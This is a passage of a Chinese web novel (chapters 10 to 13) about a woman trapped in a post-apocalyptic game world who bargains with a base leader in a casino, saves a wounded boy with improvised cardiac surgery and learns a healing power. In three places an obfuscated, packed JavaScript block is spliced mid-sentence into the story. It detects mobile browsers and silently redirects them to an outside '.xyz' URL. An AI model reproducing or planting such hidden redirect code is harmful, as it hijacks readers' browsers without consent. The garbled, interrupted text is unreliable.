韩青却笑着道了声谢，但是脚下却没动，仍是微微侧身，征询地看向乔梁。 乔梁忍不住唏嘘。不愧是韩青却，明明还什么都没干，这“大佬金丝雀”的氛围就已经呼之欲出。不过这种沉浸式感受游戏里体验一把就够了，乔梁可不想真当什么金丝雀。 她摇头拒绝了，又顺势抬眼环顾了一圈二楼的环境。 和游戏内极其相似的场景唤起更多的记忆，一些原本只是静态的画面也鲜活起来，乔梁回忆了片刻，抬头看向韩青却，“这里有休息室吗？” 这话一出，周围一圈儿都愣了。 再打量过来的目光立刻带上了隐约的暧昩。 乔梁发现自己居然没什么感觉。 赌场的环境太脱离现实，像是要把赤祼祼的欲望摆在了台面上，金钱也是、肉.体也是，让人觉得屈从于它们没有什么不好——虽然她不是真的想和韩青却发生什么关系。 韩青却却没有第一时间回答。 交易所的位置特殊，是这片区域的几大基地间中立缓冲区，这个赌场其实是个谈判地点，名义上中立，但附近几个私人基地都在上面分了一杯羹，也留了驻守人员。不巧，韩青却留在这边的人出事了，据说是赌场受到了堕化者袭击，他不幸遇难。但是在那之前，对方该按时递送的汇报都没有送过来。 虽说以现在的野外情况，消息递送出现延迟再正常不过，技术人员也确实检查到了线路问题，堕化者袭击更是正常的人员折损。但是韩青却还是觉得不太对劲。 这也太巧了。 正好前段时间，青雀基地和临港基地就某条运输线产生了冲突，韩青却这才借着谈判的借口，亲自过来一趟。 他眯着眼上下打量起了乔梁。确实是他看上的人，但是谁说这是不能安排的？ ……临港基地？赌场管理？还是其他什么势力？ 乔梁很坦然地任由他看。 她知道自己很惹人怀疑，但是韩青却是个因为怀疑会收手的人吗？不可能，这个人简直我行我素极了。 果然，四目相对，韩青却低低笑出声了。 连那惯常懒洋洋的表情都没了，饶有兴趣地应下，“好。” 旁边的荷官早就招呼了一个服务生过来，等韩青却一答应，那服务生就上前一步，躬身示意，“二位请跟我来。” …… 另一边，邓陇从上楼开始，就被其中一个保镖紧紧跟在身旁。 单论块头，两人其实差不多，但这保镖明显黑雾化的程度相当高，肌肉力量密度不是一般人能比的，只往那一站，就纹丝不动地挡住了去路，让邓陇半步都不能靠前。 挣扎了几次之后，邓陇放弃了靠近。 就算真有什么，也让唐问旸自己头疼去吧。他就一个地陪，快别搁这儿咸吃萝卜淡操心了。 世上无难事，只要肯放弃。 邓陇放平心态走到旁边的自助用餐区。 但他牛排没来得及切呢，抬眼就见那边两个人往里面走了。 等等！那个方向是…… 邓陇几乎是立刻跳起来了，但是屁.股刚刚离开凳子就被死死按住肩膀，被生生按得坐了回去。 旁边保镖语气和表情都相当客气，“邓先生还想要点什么吗？去玩两把也可以，今天赌注都记在我们基地长账上。” 邓陇咬牙切齿：“狗屁！你们这话——”跟唐问旸说一个试试。 看着那边两个人的身影渐渐消失在楼梯间内，邓陇表情也像是跟着消散。 见状，那保镖大哥手劲反而松了点。 他拍了拍邓陇的肩膀，甚至还安慰了句：“这个没了还可以再找。听老哥一句劝，女人心不在你身上，强求也没用……” 邓陇：心当然不在我身上！！你tm知道这到底是谁的人吗？！ * 乔梁还不知道被留在大厅里的邓陇经历了怎样的情绪地震，她一路辨认着周围的环境，和游戏记忆对照，在某个套房的房间门口停下了脚步，韩青却也跟着站住了脚。 前面的服务生还试图接着引导，“韩先生的套房在顶层……” 还没说完，韩青却已经笑着摆了摆手，“就这间吧。” 大概是没想到会安排在这里，服务生一点没做准备，两人又在原地等了会儿，才等到房卡送过来。 …… 看着进门之后，直奔大床的乔梁，韩青却忍不住在门口站住了。 他抬手扯了扯本来就很松散的领带，露出了为难的表情。 这是不是有点太热情了？ 问题大到，他想装作看不出来都有点困难。 这么想，抬眼却看见那边女人赤脚踩到了床铺上，抬手去够上面的圆形吊顶板。 脚趾在床铺上压出凹陷，脚背在冷白的床单映衬下显出暖色，上抬的手臂将礼裙的裙摆微微拉高了一节，因为在努力往上够的缘故，连侧边腰线都绷紧了。 韩青却在原地站了会儿，不得不承认，这确实不是“某种邀请”。 他忍不住在心底叹了口气：果然，天底下没有这种好事。 虽然心底唏嘘，他到底主动上来帮了忙，口中不忘调侃着，“乔小姐只是想来找东西的话，不用这么大费周章，我很乐意帮忙。” 这点轻松的氛围只维持到韩青却看见了拿下来的文件袋。 熟悉的内容让他脸色微变。这是青雀基地的内部资料，他粗粗瞄了几眼里面的内容，更细节的他当然记不住，但大体上是真的。 韩青却终于敛下的笑意，抬眼看过去。 乔梁早就从床上跳下来，从旁边拖了把椅子坐了。抬眼冷不丁地对上韩青却的视线，她动作僵了一下。 轻弯着的眼角挡不住冰凉的冷意，锐利的视线像是要把人穿透。 就算在游戏里…… 不对，游戏里确实有的，只不过不是针对玩家。 他坐在床边，微微前倾着身体，缓声开口：“非常感谢乔小姐，这东西对我很重要。不过我想问一下，乔小姐是从哪里得知这些的？” 眼神姿态都很暧昩，但却无端端让人背后窜起一阵凉意。 乔梁后知后觉，自己有点莽了。 韩青却不是唐问旸，她真的有可能死。 “章立是我安排来的人，他的家人……父母、妹妹，全都在青雀基地，赌场想让他叛变，得开出不得了的价码。但现在看起来，他们似乎没有谈拢。不然这份资料就不应该藏在这里，而是在赌场管理的保险箱。但乔小姐似乎对此非常清楚？” 韩青却站起身来，他伸手扶住了乔梁正侧坐着的椅背，弯腰凑近，耳语着轻声，“乔小姐和他很熟悉？” 温热的气流拂过脸颊，却只让人背后的汗毛根根竖立。 乔梁无比清楚地意识到，什么“机缘巧合”“意外得知”的理由根本糊弄不过去，韩青却绝对不可能接受。 事实上，玩家的消息来源是尤横，游戏剧情里的尤横。 青雀基地的剧情线相对独立，没有唐问旸的插手，尤横没可能救出妹妹，他只能眼睁睁地码头上的“货物”被运走。为了调查那些货船的去向，尤横想办法进入了赌场，四处打探消息，接近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548709|169980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切有利用价值的人员。在发现玩家和韩青却关系之后，更是想尽办法蓄意接近，借着玩家引导韩青却和赌场对立。 但是在这条世界线，这个理由完全不可能的成立…… 快想点什么，找找别的什么借口！ 隐隐的汗珠从额上冒出，耳边却突然传来一道笑声。韩青却松了按在椅背上的手，往后退了几步，拉开了距离。 “是我冒昧了，乔小姐肯定有自己的消息渠道，不便透露。” 他冲着乔梁眨了下眼，眉眼间都是笑意，好像刚才的冰凉威胁只是错觉。 似乎是没事了…… 乔梁试图放松一点，但紧绷的肌肉只能扯出一个略显僵硬的笑。 韩青却像是一无所觉，他抬手晃了晃那一沓文件，“乔小姐可是帮了我一个大忙。有什么要求，我愿意效劳。” 是“我”，而非青雀基地。 这要是还在游戏里，玩家或许会回应着调几句情，顺便挑出对面这点文字游戏。但真到了现实，乔梁只觉得发凉的手还没缓过来，完全没有这种心情。 乔梁活动了一下僵硬的手指，试图镇定地开口：“赌场背后的人不止这点打算，韩先生有没有考虑过合作？” 对面却突然问：“乔小姐是第三基地的人？” 乔梁一愣。 韩青却笑了下，他屈着指节敲了敲文件袋，“这里面是青雀基地那条主干货运线的资料。别说当年了，就是现在，为了维护这条线，基地每年都不知道折多少人手在里面，它们胃口可够大的。连别的小型运输线都看不上，他们盯上的基地，我实在想不出第二个了。” 而且明明能拿到这份资料，却没用来威胁他。 除了第三基地的那位老基地长，他还真想不出来别人了。 …… 韩青却带着乔梁去见赌场的管理。 “这间赌场的情况有点复杂，我只能确定你看见的是明面上的负责人。” 乔梁若有所思。 在游戏剧情里，韩青却最后对上的确实不是赌场管理者，但背后的实际操纵人……路人NPC的脸完全记不住啊！！ 正这么想着，冷不丁地对上韩青却的视线。 乔梁连忙敛下多余的表情，镇定地对视回去。 韩青却笑，“乔小姐身上有很多秘密啊。” 在游戏里很适合调.情。 但现实情况…… 乔梁只来得及露出一个僵硬又敷衍的假笑，“您想多了。” 要是再给她一次机会，她绝对不会想着搭上韩青却的。 这种大佬游戏里馋一馋就够了，真的遇见了简直让人头皮发麻。 乔梁试图转移一下注意力，但刚刚挪开视线，就看见不远处河面上炸开的火光。 乔梁还没反应过来是什么，就听见旁边韩青却感慨，“居然出事了啊。” 乔梁：“什么？” “那是赌场的货运船，帮忙送一些不方便明面上运的东西，总有人有需求。这么算算，今天也到了开船的日子了。” 今天，开船…… 那唐问旸他们？！ 乔梁脸色变了。 “看来乔小姐有朋友在上面。三十分钟怎么样？我帮你拖住赌场这边，让他们别再派人手过去。乔小姐来得及……” “谢了。” 话没说完，已经被乔梁打断。 她转身就想下楼找邓陇，但才走了两步，就被那双不太习惯的高跟鞋一绊。 韩青却还想发挥绅士风度抬手扶一把，但还没来得及上前，就见对方干脆利落地把鞋蹬了，拎在手上就往前跑。 韩青却：“……” 看着那道身影快速消失在视野范围，他愣了半晌，忍不住笑起来。 挺有趣的小姑娘。 但好像有点急性子？ 11.第 11 章 邓陇开着车往货轮出事的地方赶，乔梁坐在副驾驶上编辑消息。 虽然情况颇为紧急，但邓陇还是频频抬头，透过后视镜观察乔梁的表情。 刚才那一个小时到底发生了什么？非亲非故的、怎么韩青却就突然答应帮忙拖住赌场？那位可不是做慈善的……不能想，不敢想。再深想下去，他可能要被唐问旸捅死。 乔梁倒没注意到邓陇的纠结，她正紧绷着表情盯着手腕上的通讯器等回复。 这东西的作用和手机差不多，但娱乐功能相当受限，基本只加载了野外求生板块，而且通讯好像还分频段的，要是找不对频道连消息都发布出去。 乔梁静静等了好一会儿，屏幕终于亮起。 “他回复了！”乔梁大松口气，她抬手把地址示意给邓陇，“这个地方，能过去吗？” 邓陇看了一眼，点头。 但是往前驶过没多一会儿，就看见了一队巡逻。 邓陇啧了一声，“我去引开他们，你先过去。” 乔梁一懵，“我？” 过去？她？她连那地方在哪儿都不知道。 “就顺着这条路，往前直走。这点巡逻强度，问旸自己早就出来了，这会儿还没动，多半身边带着什么累赘，把人引开就够了，不用闹太大动静。” 邓陇这么说着，已经路边停车，乔梁就被放在了一片漆黑的夜色里。 乔梁：“……” 这是不是有点过于信任她了？ 看着眼前乌漆嘛黑的夜路，乔梁最后还是咬了咬牙，顺着邓陇指的方向走过去。 这边好像确实没什么人，乔梁摸着黑磕磕绊绊地往前走出去一段距离，直到被一道紧锁的铁门挡住了路。 是铁焊条的栅栏门，拇指粗的锁链绕在门框和门柱之间，一把厚重的铸铁锁挂在上面。 乔梁尝试推了推，只拉开了一点缝隙，连拳头都塞不过去。再往上看，不算上面的尖刺，高度都有两个她高了。 爬是爬不上去了，绕路就更不可能了。先别说时间问题，重要的是她根本不认识路。 乔梁拽着那铁链子扯了两下，深吸了口气，拿出了手.枪。 是来的时候唐问旸给她的那一把，没想到居然会用在这地方。 打开保险，扣下扳机。 操作确实很简单，但是轰然的炸响几乎让耳朵炸开了，后坐力带着两条手臂全麻了。乔梁踉跄地后退了几步，一时都不确定失去知觉的手有没有把枪甩出去。 好在锁链确实开了。 …… 等找到了指定地点，乔梁总算知道唐问旸被什么绊住了。 一群小孩聚在这间仓库里，三三两两躲在集装箱后面，一直到唐问旸进来，他们才像是确认安全一样，从箱子后面露出几双眼睛来。 恍惚看见了一群聚集的野猫，这隐蔽意识可比乔梁好多了。 但靠近窗边能隐约看到轮廓的地方，却有两个人毫无遮掩的呆在那里。 一个年纪不大的女孩正抱着一个少年，太黑了看不清面容，乔梁还是从垂下手腕上的手链判断出，正躺在那的少年是尤横。 那女孩是尤妙？ 乔梁看见滚在一边的空药瓶。 C药？ 但里面已经空了。 唐问旸：“你又给他喂药了？” 尤妙像是才反应过来有人进来，慌忙地想把药瓶往里藏。 唐问旸很直接地，“没用，救不回来。” 黑暗中似乎传来一声隐隐地哽咽，唐问旸却没有任何反应。他也不管对面人有没有听得懂，径直往下说了下去，“黑雾的能量通过血液循环作用于身体，C药见效是很快，但他撑不到堕化。” 他知道那小姑娘想干什么。 但这剂量下去，就是冲着堕化去的。 那边的呜咽声更大了，唐问旸站在原地没动。 倒是集装箱后面传来隐隐的松了口气的声音，看起来那几个小孩戒备的不单单是外面来的袭击。 乔梁却兀地抬头，“血液循环？” “对。” 乔梁两步跨了过去，打开通讯器配备的手电，简单地检查了一下情况。 可见的外伤是在头部，呼吸不规则、脉搏非常微弱，初步判断是颅内压升高压迫脑干心血管中枢，正常来说得做开颅手术。 但想想到了新世界已经尽毁的世界观，再想想唐问旸那句笃定的“血液循环”…… 乔梁深吸口气，“把人放下！” 不管怎么样，先维持心脏泵血。 这话语气太果决，尤妙下意识地照做。 等回神想要重新抱住人的时候，乔梁已经把两只手掌压上去了。 全身的力气借由手臂压下，胸腔明显凹陷下去，然后恢复原位。 乔梁一边在心底默数着节拍，一边机械地重复着动作，心底忍不住嘀咕：来支肾上腺就好了。 但是她很快就没工夫想东想西了。 这动作非常耗费力气，没多一会儿，汗已经开始往下滴了。从额上流下的汗水顺着眉毛的缝隙淌下，淌入眼中刺激得人眼球生疼，乔梁听见了自己的喘.息声。 比那更可怕的是，她能够清楚地感知到，胸廓的起伏越来越微弱。 按压下去的力道不再往下传导，反而越来越像是直直按在水泥地面上。绷直太久的手臂开始发僵，仿佛先前开枪的那一瞬间麻痛又重新回来。 不用停下来去确认脉搏，乔梁也清楚地知道这意味着什么。 眼睛被汗刺激得不停地眨着的，乔梁都分不清淌下去的到底是汗水还是泪水，只是在模糊的视线看到有人走近，她看见了一柄系在在腿侧的匕首。 脑海中一瞬间闪过好几个画面——第三基地那次冲过去已经发现伤口愈合，西街小巷子里被捅穿了的心脏…… 乔梁突然抬手，一把捞过唐问旸腿侧的匕首。 “帮我照明！” 这话没头没尾的，但是唐问旸却反应迅速地配合地打开灯光。 乔梁把尤横上身的衣服撕开，抬手摸索了一下，直接沿着剑突下方划开了一道豁口，鲜血瞬间涌出，那点本来就很不清楚的视野范围瞬间被染红了。 旁边似乎一声惊呼，似乎是有人想扑过来，乔梁头也没抬地，“按住她。” 挡光了。 不过那点光本来就是聊胜于无。 没有吸引器清理视野，也没有止血钳压住血管，乔梁只能暂时压住出血口，另一只手手指凭借感觉拉扯着做钝性分离。 …… 等到豁口打开到足够的程度，乔梁直接把手伸入了胸腔。 手心里握住的是另一个人的心脏，带着温热的触感。乔梁一开始还默数着节奏，但是渐渐的，随着那几乎要蹦出喉咙口的心跳平复下来，手上的按压和她自己的心跳统一了节律。 非常奇特的，仿佛和另一个人的生命产生了连接。 突然的，很轻又很微弱的，她感受到了一次自主跳动。 那一下跳动只是个预兆，紧接着又一次强而有力的跃动，一下又一下，心脏居然在极短的时间内稳定下来了。 乔梁愣了愣，动作迟疑地收回了手。 几乎就在她将手拿出来后，胸腔上的豁口就以肉眼可见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561530|169980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的速度开始愈合。 乔梁：“……” 这个离谱的世界！！ 她木着脸伸手帮忙帮伤口位置对齐了一下，甚至忙里偷闲想想了句：挺好的，完全不用担心伤口愈合和术后感染。 旁边，像是经不住情绪的大起大落，唐问旸一松开手，刚才被拎着的尤妙直接瘫坐在地上。但她还是一点点从地面挪动着，凑上前去，试图贴过去感受亲人的脉搏。 另一边，唐问旸抽出了刀。 乔梁：？？？ 唐问旸语气平静地：“再不处理，他就要堕化了。” 尤妙：！！！ 小姑娘直接一个弹起，扑到了尤横的身上，抖着声辩解着，“没有！他还没有！！” 乔梁没有证据，但是觉得唐问旸好像在故意吓唬人。 因为小姑娘给人喂了C药？ 乔梁不太确定。 但主要问题还是—— “……我不会。” 第三基地被发现是“净化者”那次，她完全是懵的。 后来她确实和宋年谈过，可以在第三基地当一段时间净化者，但对方完全没有安排上岗培训的意思。至于说是游戏里？背景设定而已，难不成恋爱游戏还会让玩家研究怎么用技能吗？ 唐问旸却突然沉默了。 停顿了一下，他俯下.身，抓住了乔梁的手腕。 手上全是刚才沾上的血，乔梁下意识缩了一下，却被稳稳握住。 乔梁突然有种感觉，唐问旸在观察她的表情。 但没了打光，仓库里又恢复了黑暗，乔梁回视过去，也只看到了模糊的面部轮廓，根本看不清楚细节神态。 唐问旸却能看清楚。 黑雾的强化包括视觉，他本人的情况又更特殊一点。 他能看到，乔梁的表情确实很平静。 唐问旸没有移开视线，保持着注视的状态，拉着乔梁的手缓缓放在了尤横的额头上，动作很慢，仿佛对面一有什么反应就会停.下一样。 乔梁：？ 不明白。然后呢？ “闭上眼，去‘看’。” 乔梁照做了。 片刻之后，她错愕地睁开眼。 她真的“看”见了！那是血管吧？拍都拍不了这么清楚的。这是什么人形CT机？ 继世界观被打破之后，连她自己都不正常了吗？ 说起来刚才做钝性分离的时候也是，她确实准确地避开了血管和神经，明明手术视野等同于零…… 艰难地消化了一会儿再次被打破的世界观，乔梁默默地把手又贴了回去。 唐问旸说的没错，再耽搁下去，尤横真的要出事了。 如果她是CT机的话，黑雾的能量就是造影剂，她与其说看见了血管，不如说看见“造影剂”。很明显，这些造影剂正张牙舞爪地想要越过血管的限制侵占神经。真要被侵占了，应该就是他们说的“堕化”了。 所以，所谓“净化”其实是场由意识控制的精细手术？ 离了个大谱！ …… 看着乔梁确实没有什么应激反应，唐问旸才略微松了口气。 净化是天赋，就像是吃饭喝水，抑或是一些动物天然的回声或灵敏的嗅觉一样，不应该存在“不会”的问题。 但唐问旸确实见过“不会”的人。 某个小型的私人基地里，被当做牲畜圈养、强迫做净化的人。在被营救出来之后，他们中的一部分确实“不会”了。 但是乔梁……反应还算平静，没有非常强的抵触情绪。 应该只是“不记得”了吧？ 12.第 12 章 唐问旸意识到自己又做梦了。 和前两次的情况不太一样，这一次的梦内容正常了很多，时间也变长了。 他依旧是在外面救了人，也把人带回了第三基地，情况相似到唐问旸错以为是自己的记忆。但还是有不一样的地方——没有平行世界的问题，也没有宋年的试探，对方作为一个普通的净化者，留在了第三基地。 一切都很正常。 只是唐问旸不能理解，乔梁是怎么精准地找到他的？ 出于一些个人的顾虑，唐问旸在基地时间并不长，就算是偶尔回去一次，也是报个平安、外加补充一下物资，略微呆几天就走了。 但是就这几天的时间，对方每一次都能精准地堵到他。 然后，送礼物。 送的礼物都相当奇怪！ 送花——郁金香、向日葵、康乃馨（？）——也就算了，贺卡、唱片也能理解，送仙人球是几个意思？还有造型奇特的牛角头盔、似乎是诅咒用的巫蛊娃娃、看封面就很不对劲的成人杂志…… 唐问旸：？？？ 这已经超过了正常人类能够理解的范畴了吧！ 更让唐问旸觉得不可思议的是，“他”都收下了。 虽然每次都心情复杂，有时候也相当无语，但居然都收下了！ 唐问旸：？！ 平行世界的“他”都是什么妖魔鬼怪？ 那个人渣也就算了，这位看起来也不是什么正常人。 和那惊鸿一瞥的两场梦境不同，这次的梦是连续的片段。 时间跨度很长，长到唐问旸已经从一开始的震惊平复下来，慢慢接受现实，甚至还有心情默默点评一句“这次的诅咒娃娃好像比上次可爱一点”。 正往基地外开去的车突然被拦住，路边站了一个熟悉的身影。 预料到会发生什么，唐问旸已经见怪不怪，还忍不住猜了一下这次送来的会是什么“惊喜”。 没能猜对。 对方不是来送礼物的。 “又要走了吗？这次的任务很棘手？” “什么时候回来？” “……” “我能和你一起吗？” …… ………… 唐问旸醒了。 吓醒的。 和第一次的梦境是完全不一样惊吓。 他翻身坐起来，手肘撑着膝盖，在黑暗中冷静了一会儿。 ——没冷静下来。 他干脆起来倒了杯水喝了，又往前走了几步，侧身靠在了窗台上。 夜色的寒意透过窗缝渗了进来，让混沌的大脑清醒了几分。他干脆抬手把窗户打开，让风直接吹了进来，这下子是彻底清醒了。 唐问旸没有听到“那人”的回答，但却切实感受到了那一瞬间的触动。 胸腔像是被无形的丝弦扯了一下，心脏骤然失序。 很熟悉，像是在哪里感受过一样。 唐问旸不想回忆得那么清楚，但记忆却像是不讲道理一样在脑海中一遍又一遍复现。 深沉的夜色晦暗不明，打开的灯光只照亮出一小片区域。 她跪坐在地上，脸上还溅着血污，但眼神却坚定又明亮，像是在发光。 ……真糟糕。 这完全不是一句“被影响了”能解释了吧？ 唐问旸长长地叹了口气。 和之前两次零碎的画面不一样，这一次是又长又连续的梦境。因为同样的心情才产生的同步，还是因为……那是她的世界？ 不管哪一个，都糟透了。 * 经历了那么惊心动魄的一晚上，乔梁本来以为自己会睡不着。但她实在低估了自己的生理需求，一整天的精神和体力消耗下，她刚一沾枕头就昏睡过去，等再醒过来天已经亮了。 对着陌生的天花板发了会儿呆，她才磨磨蹭蹭地起来。略微收拾了一下自己，睡眼惺忪地从楼上走下去，发现下面等着一大一小两个人：尤横尤妙兄妹。 乔梁住的是早些时候来的那家枪械店的二楼——是的，这家酒吧和枪械的双拼店，楼上还经营着小旅馆，业务范围相当之广。但不管是酒吧还是枪械，两个明晃晃的未成年出现在这里，还是相当扎眼了，新世界的风土人情果然让人大开眼界。 一大清早的，店里没什么人，作为店主的邓陇不在这里，没有老板看着，吧台小哥正撑着手臂打瞌睡。 乔梁目光在店里扫了一圈，主动走过去，“怎么来这儿了？” 尤妙这才认出了人。 昨晚黑漆漆的看不清模样，再加上心神不定，她其实根本没看清楚脸。 “净……医生姐姐！” 乔梁：“我姓乔。” 别那么叫，这称呼听起来有点ptsd了。 “乔姐姐，”小女孩从善如流地改了个口，勾起一个甜甜地笑，“昨晚的事谢谢您，哥哥也说，得过来道个谢。” 一大早就看见这种笑容，实在相当治愈，果然萝莉才是世界的瑰宝。 乔梁心情放松了点，随口：“没什么，人没事就好。” 不然就是重大医疗事故了。 还属于情形极其恶劣、吊销资格证都嫌轻的类型。 “不，真的真的非常谢谢您。”尤妙却略微急促地打断，“我不知道怎么说，不单单是哥哥，还有我。要是没有哥哥，我也活不下去……” 尤横：“喂！” 尤妙这才回神。 意识到自己刚才的失态，她连忙掩下那点泪意，扬着脸重又笑起来，“不说这个了。总之，真的谢谢您。” 尤妙应该比尤横小上好几岁，再加上营养不.良，看起来只有瘦瘦小小的一只。这么大点的小女孩露出“纯真无邪”的笑容，不管什么人看了，都忍不住心底一软。 但是这种的笑容，不应该出现在一个昨晚才差点失去至亲的小女孩身上。 想着昨天白天看见的，尤横那堪称天.衣无缝的卖惨装可怜，乔梁觉得自己好像明白了什么。 那种环境下的生存方式吗？ 晃神间，尤妙已经翻找出一大包东西，“乔姐姐你看这些。都是我自己做的，你看看有没有什么喜欢的？” 乔梁低头看过去，是一堆零零碎碎的小饰品。被带过来之前应该仔细挑选过了，起码上面的雕刻看着精致多了，不像尤横手腕挂着那个看不出来是兔子还是鸟的不明物体。 对上小女孩的期待的眼神，乔梁也没推拒。 她在里面看了一圈，目光定在其中的一条挂坠上。 是个颜色很朴素的坠子，只在最末端串着一颗黑色的珠子，用绳结固定，再下面是挂着一条雕刻得很精细的小船。 尤妙不愧是小小年纪就做起买卖的人，乔梁目光一落过去，她就立刻察觉了。 她伸手就把这条坠子挑出来，“这一条？” 乔梁点头，“就它吧。” 尤妙点点头，动作利索地将坠子缠绕起来，还精致地用纸叠了个包装。 她一边叠着，一边说，“姐姐再看看吧。这是给那个哥哥的吧？姐姐也给自己选一条吧。” 乔梁：“……” 倒也没错，一到了购物环节，脑子下意识地就照着选“攻略礼物”的脑回路去了。 那边尤妙已经很快打完了包，她视线在饰品中逡巡一圈，飞快地挑出一条不同颜色的同款，“这条怎么样？很配的。” 乔梁：“……” 她最后还是婉拒了尤妙的选的情侣项链。 虽然但是，这不合适！心痛.jpg 虽然东西材料都不怎么值钱，但尤妙的审美很不错，有不少精品。乔梁给自己挑了另一条不同款式的手链，“不用包起来了，我直接戴上吧。” 单手不方便操作，还是尤妙帮忙把手链戴上的。 而另一边，从进来开始就一直沉默的尤横终于开口了，“你们之前要见的人……我的上线也是个分货的，知道的东西有限。你们要是信我，我可以试试往上接触，等有了消息再告诉你们。” 乔梁表情意外地看过去。 尤横僵硬地回视。 明明在西街见到的时候一副深谙人情油腔滑调的样子，这会儿反而像是不知道该怎样的表情才好。 沉默了片刻，他像是泄了气，撇过去头去啧了一声，“算了，你们要是不信，就自己去吧。” 顿了下，又木着脸补上，“我给你们带路。” 乔梁这才回神，“不，当然相信。我只是有点意外，没想到你会主动帮忙。” 尤横的能力当然靠得住，这位可是连韩青却都能算计，差点把玩家坑死的狠人，搞事能力在整个游戏剧情里都数得上。 尤横神色稍微缓了缓。 像是觉得乔梁那句“相信”说得违心，他又干巴巴地解释了几句情况，大概说了下自己的行动规划。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572868|169980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边说着，一边打量着乔梁的表情，像是在等她的回应。 乔梁反而被看得迷惑了。 好半天，才不确定地，“注意安全……？” 尤横的话兀地停.下了。 几秒后—— “好了，就这些，等有结果我会来找你们的。”他这么说着，站起身来，一把薅起旁边的尤妙，“走了！” …… 尤横的步幅大，尤妙在后面被拉得踉踉跄跄的，但她好像也习惯了，一直到走过一个拐角，才拉了拉尤横的袖子，示意人慢下来，又仰起头来看，“哥哥很喜欢那个大姐姐吧？” 尤横像是嘲笑了一声，“看起来就很好骗的样子。” 尤妙的目光没有挪开。 好半天，尤横才像是输了一样撇开视线，小声咕哝了句“还行吧”。 只是旋即，他的表情却敛下了，垂眼看向尤妙，“你要不要跟她走？过得肯定比现在好多了。等给他们把这事办完了，我可以提条件……” 尤妙抓着尤横的袖子紧了紧，像是有短暂的不知所措。 她侧边紧握的手绷得泛白，但是脸上却下意识地露出个笑。 尤横止了声。 他顿了顿，抬手把那颗脑袋压下去，“行了，没不要你。有好日子不过，你是不是傻？”这么说完了，又忍不住絮絮叨叨，“笑得丑死了，别老笑。还有，下次出门机灵点，再让人给拐了，可遇不上第二个傻子去捞人了……” * 店里。 乔梁出去买了个早饭，又在楼下坐了会儿，这才看见的下楼的唐问旸。 对方看着没什么精神，似乎没睡好。 乔梁打量了两眼，抬手打了个招呼。 见唐问旸看过来，又指了指刚才多买了一份的早点，“要吃早饭吗？” 唐问旸脚步顿了下，隔了会儿，他才缓慢地点头。 但等下了楼，他走到隔了个桌子的位置就停了。仗着身高腿长，他一弯腰就把袋子拎走了，轻淡地说了声“谢了”，就地在停.下的那张桌子上坐了。 整个过程丝滑流畅，看不出一点异样。 乔梁看看自己手里没吃完的包子，又看看另一张桌上的唐问旸。 她想了想，起身坐了过去。 唐问旸：“……” 他解塑料袋的手一顿，旋即就继续了动作，假装没看见。 直到眼前被推过来一个纸袋。 袋子口的地方被粗糙地折了个纸花，有点简陋，但也足够人一眼认出来，是“礼物”。 唐问旸没法继续装作无事发生了。 他视线在这个纸袋上定了一会儿，抬头看向乔梁，目光带着点打量：这是她的个人习惯？给人送礼物？ 乔梁被看得莫名，她不太自然地解释了句。 “是尤妹妹送的，昨天的谢礼。早晨尤横过来了一趟，说了点事情……”她简单地把尤横的意思说了，又说，“我觉得这样也不错，就答应他了。” 唐问旸嘴唇略微往下撇了撇，没什么表情等着乔梁把话说完，这才不咸不淡地点了下头，“行。” 乔梁看看被放在桌边的礼物，又看看态度冷淡、连去碰一下的意思都没有的唐问旸，心底忍不住唏嘘：送礼物就加好感，果然是游戏里才有设定QAQ。 然后就是各自低头吃饭。 邓陇进来的时候，就看见这一幕。 两人侧对面坐在同一张桌子上，桌面上摆着简陋的早餐，一个喝粥、一个手里拿着包子。听见门口的动静，两人不约而同抬了一下头，动作诡异地同步了。 邓陇：“……” 他开口打了个哈哈，“吃着呢？” 只是句问候倒没什么，但对方语气很怪，乔梁有点奇怪地点点头。 唐问旸扬眉看过去，问：“出事了？” 邓陇干巴巴，“……没。” 就是因为“没出事”。 昨晚货船炸了的动静那么大，赌场却到现在都没反应，这里面的原因很让人深思了。 他偷眼瞥了下唐问旸，又抬眼看向乔梁，张了几遍嘴才艰难出声，“有人找。” “找我？”乔梁不确定指了指自己，“谁？” 邓陇：“……” 还能有谁？那位大名鼎鼎的韩基地长。 想着，他眼神忍不住在唐问旸身上绕了一圈，脸上掩不住的忧心：这两个不会在他店里打起来吧？ 13.第 13 章 韩青却倒也不单单是来找乔梁的，他其实是来委托唐问旸调查赌场背后的情况。 他大概已经调查清楚唐问旸的背景了，上来就直接开口，“我早上联系过第三基地长，冯老也很关心这件事，不知道唐先生意下如何？……至于说我这边的诚意，我想昨晚的事已经足够证明了。” 扯皮的过程有点无聊，中途还接通了第三基地通讯。 